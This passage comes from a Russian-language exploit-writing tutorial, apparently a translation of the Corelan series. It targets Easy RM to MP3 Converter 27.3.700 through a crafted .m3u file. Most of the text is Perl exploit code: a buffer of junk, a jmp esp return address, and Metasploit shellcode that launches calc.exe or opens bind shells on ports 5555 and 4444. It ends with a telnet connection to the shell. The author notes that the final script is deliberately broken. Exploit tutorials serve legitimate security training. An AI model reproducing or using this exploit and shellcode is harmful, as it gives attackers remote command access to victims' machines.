"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Проверяем в деле: запускаем скрипт – получает .m3u-файл – запускаем конвертер – скармливаем ему .m3u-файл – смотрим на результат.



БУМ! Теперь у нас есть свой первый рабочий эксплойт!

Что, если вы захотите сделать что-то ещё, кроме как запуск calc.exe?

Вы можете создать другой шеллкод и заменить им "launch calc.exe shellcode", но возникают риски не вложиться по размерам в отведенную область буфера, либо в шеллкоде будут присутствовать недопустимые символы, которые могут быть отфильтрованы.

Например, если мы хотим иметь эксплойт, который сделает bind port (привязку к порту), и удаленный взломщик сможет подключившись к нему получить доступ через командную строку. Такой шеллкод может выглядеть следующим образом:

# windows/shell_bind_tcp - 344 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, LPORT=5555, RHOST=
"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" .
"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" .
"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" .
"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" .
"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" .
"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" .
"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" .
"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" .
"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" .
"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" .
"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" .
"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" .
"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" .
"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" .
"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" .
"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" .
"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" .
"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" .
"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" .
"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" .
"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" .
"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" .
"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" .
"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" .
"\xec\xe9\xed\xb0\x0f\x27\xee\xe7";

Как вы могли заметить, этот шеллкод длиной в 344 байта, и он не вызовет падение программы:



Это наиболее вероятная проблема, возникающая из-за размерности шеллкода и буфера. Также мы можем столкнуться с проблемой запрещенных символов. Вы можете избежать таких символов строя шеллкод в metasploit’е, но вам должно быть известно, какие из символов допустимы, а какие нет.

Проблему с запретами можно решить через кодировщики(encoders). В предыдущей полезной нагрузке мы использовали "x86/shikata_ga_nai", но вполне возможно, что с применением alpha_upper нагрузка будет работать лучше. Используя другой кодировщик, вполне возможно увеличить длину шеллкода, но это, как нам уже известно, не большая проблема.

Давайте попытаемся построить пэйлод tcp_shell_bind, используя alpha_upper кодировщик.
Мы привяжем оболочку(shell) на 4444 порт. Новый шеллкод составит 703 байта.
код демонстрационный:

# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
"\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
<...>
"\x50\x41\x41";

Давайте применим этот код к нашему эксплойту.
P.S. Код преднамеренно сломан, для того чтобы вы сами попробовали применить полученные знания, и попытались его восстановить:

#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll

my $shellcode = "\x90" x 25;

# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode."\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
"\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" .
"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" .
"\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" .
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" .
"\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .
"\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42" .
"\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48" .
"\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43" .
"\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42" .
"\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48" .
"\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51" .
"\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42" .
"\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42" .
"\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48" .
"\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43" .
"\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e" .
"\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50" .
"\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50" .
"\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a" .
"\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50" .
"\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45" .
"\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" .
"\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" .
"\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" .
"\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" .
"\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" .
"\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49" .
"\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" .
"\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" .
"\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" .
"\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48" .
"\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" .
"\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" .
"\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48" .
"\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Создаем .m3u-файл и запускаем в конвертере. Easy RM to MP3 зависает. Подключаемся через telnet к этому же хосту на порт 4444:



Есть контакт! =)

Теперь можете создавать свои собственные эксплойты.

Комментариев нет:

Отправить комментарий